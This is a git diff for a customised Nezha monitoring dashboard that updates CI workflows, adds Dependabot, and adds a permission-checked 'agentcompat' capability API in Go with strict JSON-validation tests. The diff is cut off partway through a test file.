diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000..ec9a7293 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,21 @@ +version: 2 +updates: + - package-ecosystem: "gomod" + directory: "/" + schedule: + interval: "weekly" + open-pull-requests-limit: 10 + groups: + go-dependencies: + patterns: + - "*" + + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + open-pull-requests-limit: 5 + groups: + github-actions: + patterns: + - "*" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 235dd714..351f7552 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -36,7 +36,7 @@ jobs: - run: git config --global --add safe.directory /__w/nezha/nezha - - uses: actions/checkout@v4 + - uses: actions/checkout@v7.0.1 - name: Prepare frontends' dists run: | @@ -50,7 +50,7 @@ jobs: wget -qO pkg/geoip/geoip.db https://ipinfo.io/data/free/country.mmdb?token=${IPINFO_TOKEN} - name: Set up Go - uses: actions/setup-go@v5 + uses: actions/setup-go@v7 with: go-version: "1.26.x" @@ -63,7 +63,7 @@ jobs: - name: Cache zstd for s390x if: matrix.goarch == 's390x' id: cache-zstd - uses: actions/cache@v4 + uses: actions/cache@v6 with: path: /tmp/zstd-s390x key: zstd-s390x-v1.5.7 @@ -99,7 +99,7 @@ jobs: - name: Build with tag if: contains(github.ref, 'refs/tags/') - uses: goreleaser/goreleaser-action@v6 + uses: goreleaser/goreleaser-action@v7 env: GOOS: ${{ matrix.goos }} GOARCH: ${{ matrix.goarch }} @@ -111,7 +111,7 @@ jobs: - name: Build snapshot if: contains(github.ref, 'refs/tags/') == false - uses: goreleaser/goreleaser-action@v6 + uses: goreleaser/goreleaser-action@v7 env: GOOS: ${{ matrix.goos }} GOARCH: ${{ matrix.goarch }} @@ -122,7 +122,7 @@ jobs: args: build --single-target --clean --skip=validate --snapshot - name: Upload artifacts - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v7 with: name: dashboard-${{ matrix.goos }}-${{ matrix.goarch }} path: | @@ -135,7 +135,7 @@ jobs: name: Release steps: - name: Download artifacts - uses: actions/download-artifact@v4 + uses: actions/download-artifact@v8 with: path: ./assets @@ -149,7 +149,7 @@ jobs: done - name: Release - uses: softprops/action-gh-release@v2 + uses: softprops/action-gh-release@v3 with: files: "assets/*/*/*.zip" generate_release_notes: true @@ -181,10 +181,10 @@ jobs: needs: build name: Release Docker images steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v7.0.1 - name: Download artifacts - uses: actions/download-artifact@v4 + uses: actions/download-artifact@v8 with: path: ./assets @@ -220,10 +220,10 @@ jobs: password: ${{ secrets.ALI_PAT }} - name: Set up QEMU - uses: docker/setup-qemu-action@v3 + uses: docker/setup-qemu-action@v4 - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Set up image name run: | @@ -238,11 +238,16 @@ jobs: - name: Build dasbboard image And Push with tag if: contains(github.ref, 'refs/tags/') - uses: docker/build-push-action@v5 + uses: docker/build-push-action@v7 with: context: . file: ./Dockerfile platforms: linux/amd64,linux/arm64,linux/s390x + # Aliyun Container Registry rejects BuildKit attestation manifests + # (application/vnd.oci.empty.v1+json). Both registries share this + # multi-platform push, so publish a plain OCI image index here. + provenance: false + sbom: false push: true tags: | ${{ steps.image-name.outputs.GHCR_IMAGE_NAME }}:latest @@ -252,7 +257,7 @@ jobs: - name: Build dasbboard image And Push snapshot if: contains(github.ref, 'refs/tags/') == false - uses: docker/build-push-action@v5 + uses: docker/build-push-action@v7 with: context: . file: ./Dockerfile diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 65c1a9b2..1a76e335 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -2,54 +2,145 @@ name: Run Tests on: push: - paths: - - "**.go" - - "go.mod" - - "go.sum" - - "resource/**" - - ".github/workflows/test.yml" + branches: + - master pull_request: branches: - master + merge_group: + +permissions: + contents: read + +concurrency: + group: nezha-quality-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true jobs: tests: + name: Ordinary tests and build (${{ matrix.os }}) strategy: - fail-fast: true + fail-fast: false matrix: - os: [ubuntu, windows, macos] - - runs-on: ${{ matrix.os }}-latest - env: - GO111MODULE: on - FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true + os: [ubuntu-latest, windows-latest, macos-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 30 steps: - - uses: actions/checkout@v4 - - - uses: actions/setup-go@v5 + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-go@v7 with: go-version: "1.26.x" + cache: false - - name: generate swagger docs - shell: bash + - name: Generate Swagger docs run: | - go install github.com/swaggo/swag/cmd/swag@latest - mkdir -p ./cmd/dashboard/user-dist ./cmd/dashboard/admin-dist + go install github.com/swaggo/swag/cmd/swag@v1.16.6 touch ./cmd/dashboard/user-dist/a touch ./cmd/dashboard/admin-dist/a swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs - name: Unit test - run: | - go test -v ./... + run: go test -mod=readonly -count=1 ./... - - name: Build test + - name: Build dashboard run: go build -v ./cmd/dashboard + linux-race-quality: + name: Linux race and quality + runs-on: ubuntu-24.04 + timeout-minutes: 45 + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-go@v7 + with: + go-version: "1.26.x" + cache: false + + - name: Generate Swagger docs + run: | + go install github.com/swaggo/swag/cmd/swag@v1.16.6 + touch ./cmd/dashboard/user-dist/a + touch ./cmd/dashboard/admin-dist/a + swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs + + - name: Race and shuffle tests + run: go test -mod=readonly -race -shuffle=on -count=1 ./... + + - name: Vet + run: go vet ./... + + - name: Check formatting + shell: bash + run: test -z "$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)" + + - name: Build dashboard + run: go build ./cmd/dashboard + - name: Run Gosec Security Scanner - if: runner.os == 'Linux' - uses: securego/gosec@master + shell: bash env: GOTOOLCHAIN: auto + run: | + go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1 + gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./... + + agentcompat-stress: + name: Linux agent compatibility stress + runs-on: ubuntu-24.04 + timeout-minutes: 75 + steps: + - name: Checkout Nezha revision + uses: actions/checkout@v7.0.1 with: - args: --exclude=G103,G104,G107,G115,G117,G203,G402,G703,G704 ./... + path: nezha + persist-credentials: false + - name: Checkout Agent repository + uses: actions/checkout@v7.0.1 + with: + repository: nezhahq/agent + path: agent + persist-credentials: false + - name: Set up Go + uses: actions/setup-go@v7 + with: + go-version: "1.26.x" + cache: false + - name: Prepare Dashboard build inputs + working-directory: nezha + run: | + go install github.com/swaggo/swag/cmd/swag@v1.16.6 + mkdir -p cmd/dashboard/user-dist cmd/dashboard/admin-dist + printf 'placeholder\n' > cmd/dashboard/user-dist/placeholder.txt + printf 'placeholder\n' > cmd/dashboard/admin-dist/placeholder.txt + swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs + - name: Require named stress test + working-directory: nezha + run: go test -mod=readonly -tags=agentcompat -list '^TestStressPRFullEightAgentExactlyOnce$' ./integration/agentcompat/internal/scenario | grep -Fx 'TestStressPRFullEightAgentExactlyOnce' + - name: Run PR-full agent compatibility stress + working-directory: nezha + env: + AGENTCOMPAT_NEZHA_SOURCE: ${{ github.workspace }}/nezha + AGENTCOMPAT_AGENT_SOURCE: ${{ github.workspace }}/agent + run: go test -mod=readonly -tags=agentcompat -run '^TestStressPRFullEightAgentExactlyOnce$' -count=1 -v ./integration/agentcompat/internal/scenario + + nezha-quality-required: + name: nezha-quality-required + if: ${{ always() }} + needs: + - tests + - linux-race-quality + - agentcompat-stress + runs-on: ubuntu-24.04 + timeout-minutes: 5 + steps: + - name: Require all blocking jobs to pass + shell: bash + run: | + test "${{ needs.tests.result }}" = success + test "${{ needs.linux-race-quality.result }}" = success + test "${{ needs.agentcompat-stress.result }}" = success + diff --git a/.gitignore b/.gitignore index c7983616..8b743c83 100644 --- a/.gitignore +++ b/.gitignore @@ -26,4 +26,6 @@ /cmd/dashboard/docs /data/* app -dashboard \ No newline at end of file +dashboard +.omo/ + diff --git a/README.md b/README.md index 5090c5e1..d2e4f37d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ -# 哪吒面板 (Nezha Dashboard) - 个人编译指南 -这份文档记录了在 Arch Linux 环境下，使用 VS Code Dev Containers 编译自定义主题版本的哪吒面板的完整流程。 +# 哪吒面板 (Nezha Dashboard) - 域名增强定制版 +本项目集成了域名管理（WHOIS/RDAP、Nazhumi 价格同步、到期提醒）、自定义通知系统与 Telegram Bot 交互、自定义 Branding、VPS 到期解析与可视化配置生成等核心功能。 + ## ⚠️ 核心前置条件 (不做会卡死) 网络环境：必须开启 TUN 模式 (透明代理)。 @@ -53,7 +54,6 @@ cp -r ./admin-frontend-domain/dist/* ./nezha_domains/cmd/dashboard/admin-dist/ 确保 API 文档和 gRPC 代码是最新的。 ```Bash - # 生成 Swagger 文档 swag init --pd -d . -g ./cmd/dashboard/main.go -o ./cmd/dashboard/docs --requiredByDefault @@ -64,7 +64,6 @@ protoc --go-grpc_out="require_unimplemented_servers=false:." --go_out="." proto/ 生成可执行文件 dashboard。 ```Bash - # -s -w: 去除调试符号，减小体积 go build -ldflags="-s -w" -o dashboard cmd/dashboard/main.go ``` @@ -72,10 +71,10 @@ go build -ldflags="-s -w" -o dashboard cmd/dashboard/main.go 编译完成后，运行以下命令测试： ```Bash - # 运行面板 ./dashboard # 如果能看到 Logo 输出，或者提示 config.yaml 不存在，说明编译成功。 # 如果提示 user-dist 404 之类的，说明前端文件没复制对。 -``` \ No newline at end of file +``` + diff --git a/SECURITY.md b/SECURITY.md index 0916fa77..9314b333 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -6,4 +6,4 @@ Code in `master` branch. ## Reporting a Vulnerability -Thank you for your contribution to open source security, please email hi@nai.ba with details of the vulnerability. +Thank you for your contribution to open source security, please submit on https://github.com/nezhahq/nezha/security diff --git a/cmd/dashboard/controller/agentcompat_capability_access.go b/cmd/dashboard/controller/agentcompat_capability_access.go new file mode 100644 index 00000000..453fd6be --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_access.go @@ -0,0 +1,86 @@ +//go:build agentcompat + +package controller + +import ( + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +type agentcompatCapabilityIdentity struct { + purpose rpc.AgentCompatCapabilityPurpose + serverID uint64 + resourceID uint64 +} + +type agentcompatCapabilityProof struct { + owner rpc.AgentCompatCapabilityOwner + identity agentcompatCapabilityIdentity +} + +func currentAgentcompatCapabilityProof(context *gin.Context, identity agentcompatCapabilityIdentity) (agentcompatCapabilityProof, error) { + if err := validateAgentcompatCapabilityIdentity(identity.purpose, identity.serverID, identity.resourceID); err != nil { + return agentcompatCapabilityProof{}, err + } + token := APITokenFromContext(context) + authorized, present := context.Get(model.CtxKeyAuthorizedUser) + user, validUser := authorized.(*model.User) + if token == nil || token.ID == 0 || !present || !validUser || user == nil || user.ID == 0 { + return agentcompatCapabilityProof{}, errAgentcompatCapabilityUnavailable + } + if singleton.ServerShared == nil { + return agentcompatCapabilityProof{}, errAgentcompatCapabilityUnavailable + } + server, exists := singleton.ServerShared.Get(identity.serverID) + if !exists || server == nil || !server.HasPermission(context) || !patAllowsServer(context, identity.serverID) { + return agentcompatCapabilityProof{}, errAgentcompatCapabilityUnavailable + } + if identity.purpose == rpc.AgentCompatCapabilityNAT && !currentAgentcompatNATPermission(context, identity) { + return agentcompatCapabilityProof{}, errAgentcompatCapabilityUnavailable + } + return agentcompatCapabilityProof{ + owner: rpc.AgentCompatCapabilityOwner{PATID: token.ID, UserID: user.ID, IsAdmin: user.Role.IsAdmin()}, + identity: identity, + }, nil +} + +func currentAgentcompatNATPermission(context *gin.Context, identity agentcompatCapabilityIdentity) bool { + if singleton.NATShared == nil { + return false + } + domain := singleton.NATShared.GetDomain(identity.resourceID) + if domain == "" { + return false + } + profile := singleton.NATShared.GetNATConfigByDomain(domain) + return profile != nil && profile.ID == identity.resourceID && profile.ServerID == identity.serverID && profile.HasPermission(context) +} + +func (proof agentcompatCapabilityProof) registration() rpc.AgentCompatCapabilityRegistration { + return rpc.AgentCompatCapabilityRegistration{ + Owner: proof.owner, Purpose: proof.identity.purpose, TargetServerID: proof.identity.serverID, + ResourceID: proof.identity.resourceID, ServerAccessAllowed: true, + } +} + +func (proof agentcompatCapabilityProof) access(capability rpc.AgentCompatIOStreamCapability) rpc.AgentCompatCapabilityAccess { + return rpc.AgentCompatCapabilityAccess{ + Capability: capability, Owner: proof.owner, Purpose: proof.identity.purpose, + TargetServerID: proof.identity.serverID, ResourceID: proof.identity.resourceID, ServerAccessAllowed: true, + } +} + +func agentcompatCapabilityIdentityFromWire(purpose string, serverID, resourceID uint64) (agentcompatCapabilityIdentity, error) { + parsedPurpose, err := parseAgentcompatCapabilityPurpose(purpose) + if err != nil { + return agentcompatCapabilityIdentity{}, err + } + identity := agentcompatCapabilityIdentity{purpose: parsedPurpose, serverID: serverID, resourceID: resourceID} + if err := validateAgentcompatCapabilityIdentity(identity.purpose, identity.serverID, identity.resourceID); err != nil { + return agentcompatCapabilityIdentity{}, err + } + return identity, nil +} diff --git a/cmd/dashboard/controller/agentcompat_capability_boundary_test.go b/cmd/dashboard/controller/agentcompat_capability_boundary_test.go new file mode 100644 index 00000000..b58cba55 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_boundary_test.go @@ -0,0 +1,193 @@ +//go:build agentcompat + +package controller + +import ( + "bytes" + "context" + "encoding/json" + "io" + "net/http" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +func TestAgentcompatCapabilityBoundaryAcceptsExactly512Bytes(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + + body := padAgentcompatCapabilityBody(t, `{"purpose":"terminal","server_id":7}`) + status, responseBody := postAgentcompatBoundary(t, server.URL+agentcompatCapabilityRegisterPath, token, body, true) + require.Equal(t, http.StatusOK, status) + var envelope model.CommonResponse[agentcompatCapabilityRegisterResponse] + require.NoError(t, json.Unmarshal([]byte(responseBody), &envelope)) + require.True(t, envelope.Success) + require.NotEmpty(t, envelope.Data.Capability) +} + +func TestAgentcompatCapabilityBoundaryRejects513BytesWithoutDisclosure(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + body := padAgentcompatCapabilityBody(t, `{"purpose":"terminal","server_id":7}`) + " " + + for _, route := range []struct { + name string + path string + wantError bool + wantSuccess bool + }{ + {name: "register", path: agentcompatCapabilityRegisterPath, wantError: true}, + {name: "wait", path: agentcompatCapabilityWaitPath, wantError: true}, + {name: "cancel", path: agentcompatCapabilityCancelPath, wantSuccess: true}, + {name: "unregister", path: agentcompatCapabilityUnregisterPath, wantSuccess: true}, + } { + t.Run(route.name, func(t *testing.T) { + status, responseBody := postAgentcompatBoundary(t, server.URL+route.path, token, body, true) + require.Equal(t, http.StatusOK, status) + require.NotContains(t, responseBody, "terminal") + require.NotContains(t, responseBody, "server_id") + if route.wantError { + var envelope model.CommonResponse[agentcompatCapabilityRegisterResponse] + require.NoError(t, json.Unmarshal([]byte(responseBody), &envelope)) + require.False(t, envelope.Success) + require.Equal(t, errAgentcompatCapabilityInvalid.Error(), envelope.Error) + return + } + require.Equal(t, `{"success":true,"data":{}}`, responseBody) + }) + } +} + +func TestAgentcompatCapabilityBoundaryRejectsChunkedOversizeWithoutDisclosure(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + body := padAgentcompatCapabilityBody(t, `{"purpose":"terminal","server_id":7}`) + " " + + status, responseBody := postAgentcompatBoundary(t, server.URL+agentcompatCapabilityRegisterPath, token, body, false) + require.Equal(t, http.StatusOK, status) + require.Contains(t, responseBody, errAgentcompatCapabilityInvalid.Error()) + require.NotContains(t, responseBody, "terminal") + require.NotContains(t, responseBody, "server_id") +} + +func TestAgentcompatCapabilityBoundaryRejectsDuplicateKeysInEitherOrder(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + + keys := []string{"purpose", "server_id", "resource_id"} + for _, key := range keys { + for _, body := range []string{ + `{"` + key + `":"terminal","` + key + `":"terminal","purpose":"terminal","server_id":7}`, + `{"` + key + `":0,"purpose":"terminal","server_id":7,"` + key + `":"terminal"}`, + } { + status, responseBody := postAgentcompatBoundary(t, server.URL+agentcompatCapabilityRegisterPath, token, body, true) + require.Equal(t, http.StatusOK, status) + require.Contains(t, responseBody, errAgentcompatCapabilityInvalid.Error()) + require.NotContains(t, responseBody, "terminal") + } + } +} + +func TestAgentcompatCapabilityBoundaryRejectsAccessGrammar(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + + cases := []string{ + `{"capability":"x","purpose":"terminal"}`, + `{"capability":"x","server_id":7}`, + `{"capability":"x","purpose":"terminal","server_id":7,"capability":"y"}`, + `{"capability":"x","purpose":"terminal","server_id":0}`, + `{"capability":"x","purpose":"terminal","server_id":7,"unknown":"private"}`, + `{"capability":"x","purpose":"terminal","server_id":7} {}`, + `{"capability":null,"purpose":"terminal","server_id":7}`, + `{"capability":7,"purpose":"terminal","server_id":7}`, + `{"capability":"x","purpose":7,"server_id":7}`, + `{"capability":"x","purpose":"terminal","server_id":"7"}`, + `{"capability":"x","purpose":"terminal","server_id":-1}`, + `{"capability":"x","purpose":"terminal","server_id":1.5}`, + `{"capability":"x","purpose":"terminal","server_id":1e2}`, + `null`, `[]`, `{`, + } + for _, body := range cases { + status, responseBody := postAgentcompatBoundary(t, server.URL+agentcompatCapabilityWaitPath, token, body, true) + require.Equal(t, http.StatusOK, status) + require.Contains(t, responseBody, errAgentcompatCapabilityInvalid.Error()) + require.NotContains(t, responseBody, "private") + require.NotContains(t, responseBody, "x") + } +} + +func TestAgentcompatCapabilityBoundaryRejectsMissingRegisterFields(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + _, token := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + + for _, body := range []string{`{"server_id":7}`, `{"purpose":"terminal"}`, `{}`} { + status, responseBody := postAgentcompatBoundary(t, server.URL+agentcompatCapabilityRegisterPath, token, body, true) + require.Equal(t, http.StatusOK, status) + require.Contains(t, responseBody, errAgentcompatCapabilityInvalid.Error()) + require.NotContains(t, responseBody, "terminal") + } +} + +func padAgentcompatCapabilityBody(t *testing.T, body string) string { + t.Helper() + require.LessOrEqual(t, len(body), 512) + return body + strings.Repeat(" ", 512-len(body)) +} + +func postAgentcompatBoundary(t *testing.T, path, token, body string, contentLength bool) (int, string) { + t.Helper() + requestContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + var reader io.Reader = bytes.NewBufferString(body) + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, path, reader) + require.NoError(t, err) + if !contentLength { + request.Body = io.NopCloser(strings.NewReader(body)) + request.ContentLength = -1 + } + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + response, err := http.DefaultClient.Do(request) + require.NoError(t, err) + defer response.Body.Close() + responseBody, err := io.ReadAll(response.Body) + require.NoError(t, err) + return response.StatusCode, string(responseBody) +} diff --git a/cmd/dashboard/controller/agentcompat_capability_contract.go b/cmd/dashboard/controller/agentcompat_capability_contract.go new file mode 100644 index 00000000..cc027a01 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_contract.go @@ -0,0 +1,199 @@ +//go:build agentcompat + +package controller + +import ( + "encoding/json" + "errors" + "io" + "net/http" + "strconv" + "strings" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/service/rpc" +) + +const ( + agentcompatCapabilityRequestMaxBytes = 512 + + agentcompatCapabilityRegisterPath = "/agentcompat/io-stream-capability/register" + agentcompatCapabilityWaitPath = "/agentcompat/io-stream-capability/wait" + agentcompatCapabilityCancelPath = "/agentcompat/io-stream-capability/cancel" + agentcompatCapabilityUnregisterPath = "/agentcompat/io-stream-capability/unregister" +) + +const ( + agentcompatCapabilityPurposeTerminal = "terminal" + agentcompatCapabilityPurposeFileManager = "file_manager" + agentcompatCapabilityPurposeNAT = "nat" +) + +var ( + errAgentcompatCapabilityInvalid = errors.New("agentcompat capability request is invalid") + errAgentcompatCapabilityUnavailable = errors.New("agentcompat capability is not available") + errAgentcompatCapabilityConflict = errors.New("agentcompat capability is active") + errAgentcompatCapabilityCleanup = errors.New("agentcompat capability cleanup failed") +) + +type agentcompatCapabilityRegisterRequest struct { + Purpose string `json:"purpose"` + ServerID uint64 `json:"server_id"` + ResourceID uint64 `json:"resource_id,omitempty"` +} + +type agentcompatCapabilityRegisterResponse struct { + Capability string `json:"capability"` +} + +type agentcompatCapabilityAccessRequest struct { + Capability string `json:"capability"` + Purpose string `json:"purpose"` + ServerID uint64 `json:"server_id"` + ResourceID uint64 `json:"resource_id,omitempty"` +} + +type agentcompatCapabilityWaitRequest = agentcompatCapabilityAccessRequest +type agentcompatCapabilityCancelRequest = agentcompatCapabilityAccessRequest +type agentcompatCapabilityUnregisterRequest = agentcompatCapabilityAccessRequest + +type agentcompatCapabilityWaitResponse struct { + StreamID string `json:"stream_id"` +} + +type agentcompatCapabilityEmptyResponse struct{} + +func decodeAgentcompatCapabilityRequest[T any](context *gin.Context, destination *T) error { + context.Request.Body = http.MaxBytesReader(context.Writer, context.Request.Body, agentcompatCapabilityRequestMaxBytes) + decoder := json.NewDecoder(context.Request.Body) + fields, err := decodeAgentcompatCapabilityObject(decoder) + if err != nil { + return errAgentcompatCapabilityInvalid + } + switch request := any(destination).(type) { + case *agentcompatCapabilityRegisterRequest: + request.Purpose, err = decodeAgentcompatCapabilityString(fields.purpose) + if err == nil { + request.ServerID, err = decodeAgentcompatCapabilityUint64(fields.serverID) + } + if err == nil && fields.resourceID != nil { + request.ResourceID, err = decodeAgentcompatCapabilityUint64(fields.resourceID) + } + if err != nil || fields.purpose == nil || fields.serverID == nil { + return errAgentcompatCapabilityInvalid + } + case *agentcompatCapabilityAccessRequest: + request.Capability, err = decodeAgentcompatCapabilityString(fields.capability) + if err == nil { + request.Purpose, err = decodeAgentcompatCapabilityString(fields.purpose) + } + if err == nil { + request.ServerID, err = decodeAgentcompatCapabilityUint64(fields.serverID) + } + if err == nil && fields.resourceID != nil { + request.ResourceID, err = decodeAgentcompatCapabilityUint64(fields.resourceID) + } + if err != nil || fields.capability == nil || fields.purpose == nil || fields.serverID == nil { + return errAgentcompatCapabilityInvalid + } + default: + return errAgentcompatCapabilityInvalid + } + return nil +} + +type agentcompatCapabilityFields struct { + purpose json.RawMessage + serverID json.RawMessage + resourceID json.RawMessage + capability json.RawMessage + seen uint8 +} + +func decodeAgentcompatCapabilityObject(decoder *json.Decoder) (agentcompatCapabilityFields, error) { + var fields agentcompatCapabilityFields + token, err := decoder.Token() + if err != nil || token != json.Delim('{') { + return fields, errAgentcompatCapabilityInvalid + } + for decoder.More() { + keyToken, err := decoder.Token() + key, validKey := keyToken.(string) + if err != nil || !validKey { + return fields, errAgentcompatCapabilityInvalid + } + var bit uint8 + var target *json.RawMessage + switch key { + case "purpose": + bit, target = 1, &fields.purpose + case "server_id": + bit, target = 2, &fields.serverID + case "resource_id": + bit, target = 4, &fields.resourceID + case "capability": + bit, target = 8, &fields.capability + default: + return fields, errAgentcompatCapabilityInvalid + } + if fields.seen&bit != 0 || decoder.Decode(target) != nil { + return fields, errAgentcompatCapabilityInvalid + } + fields.seen |= bit + } + if token, err = decoder.Token(); err != nil || token != json.Delim('}') { + return fields, errAgentcompatCapabilityInvalid + } + if _, err = decoder.Token(); !errors.Is(err, io.EOF) { + return fields, errAgentcompatCapabilityInvalid + } + return fields, nil +} + +func decodeAgentcompatCapabilityString(raw json.RawMessage) (string, error) { + if strings.TrimSpace(string(raw)) == "null" { + return "", errAgentcompatCapabilityInvalid + } + var value string + if err := json.Unmarshal(raw, &value); err != nil { + return "", errAgentcompatCapabilityInvalid + } + return value, nil +} + +func decodeAgentcompatCapabilityUint64(raw json.RawMessage) (uint64, error) { + return strconv.ParseUint(strings.TrimSpace(string(raw)), 10, 64) +} + +func parseAgentcompatCapabilityPurpose(value string) (rpc.AgentCompatCapabilityPurpose, error) { + switch value { + case agentcompatCapabilityPurposeTerminal: + return rpc.AgentCompatCapabilityTerminal, nil + case agentcompatCapabilityPurposeFileManager: + return rpc.AgentCompatCapabilityFileManager, nil + case agentcompatCapabilityPurposeNAT: + return rpc.AgentCompatCapabilityNAT, nil + default: + return 0, errAgentcompatCapabilityInvalid + } +} + +func validateAgentcompatCapabilityIdentity(purpose rpc.AgentCompatCapabilityPurpose, serverID, resourceID uint64) error { + if serverID == 0 { + return errAgentcompatCapabilityInvalid + } + switch purpose { + case rpc.AgentCompatCapabilityTerminal, rpc.AgentCompatCapabilityFileManager: + if resourceID != 0 { + return errAgentcompatCapabilityInvalid + } + case rpc.AgentCompatCapabilityNAT: + if resourceID == 0 { + return errAgentcompatCapabilityInvalid + } + default: + return errAgentcompatCapabilityInvalid + } + return nil +} diff --git a/cmd/dashboard/controller/agentcompat_capability_default_test.go b/cmd/dashboard/controller/agentcompat_capability_default_test.go new file mode 100644 index 00000000..a60c6109 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_default_test.go @@ -0,0 +1,24 @@ +//go:build !agentcompat + +package controller + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" +) + +func TestDefaultBuildDoesNotRegisterAgentcompatCapabilityRoutes(t *testing.T) { + gin.SetMode(gin.TestMode) + router := gin.New() + registerAgentcompatRoutes(router) + request := httptest.NewRequest(http.MethodPost, "/agentcompat/io-stream-capability/register", nil) + response := httptest.NewRecorder() + + router.ServeHTTP(response, request) + + require.Equal(t, http.StatusNotFound, response.Code) +} diff --git a/cmd/dashboard/controller/agentcompat_capability_error_test.go b/cmd/dashboard/controller/agentcompat_capability_error_test.go new file mode 100644 index 00000000..941956de --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_capability_error_test.go @@ -0,0 +1,85 @@ +//go:build agentcompat + +package controller + +import ( + "context" + "errors" + "io" + "net/http" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +type agentcompatCapabilityCloseFailure struct { + closed atomic.Int32 +} + +func (*agentcompatCapabilityCloseFailure) Read([]byte) (int, error) { return 0, io.EOF } +func (*agentcompatCapabilityCloseFailure) Write(data []byte) (int, error) { return len(data), nil } +func (failure *agentcompatCapabilityCloseFailure) Close() error { + failure.closed.Add(1) + return errors.New("private-stream private-capability private-server") +} + +func TestAgentcompatCapabilityBoundUnregisterAndCancelCleanupErrorsAreGeneric(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + handler := rpc.NewNezhaHandler() + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = handler + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + token, plaintext := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + capability := registerAgentcompatCapability(t, server.URL, plaintext, agentcompatCapabilityRegisterRequest{Purpose: "file_manager", ServerID: 7}) + parsed, err := rpc.ParseAgentCompatIOStreamCapability(capability) + require.NoError(t, err) + access := rpc.AgentCompatCapabilityAccess{ + Capability: parsed, Owner: rpc.AgentCompatCapabilityOwner{PATID: token.ID, UserID: userID}, + Purpose: rpc.AgentCompatCapabilityFileManager, TargetServerID: 7, ServerAccessAllowed: true, + } + require.NoError(t, handler.CreateStreamWithPurpose("private-cleanup-stream", userID, 7, 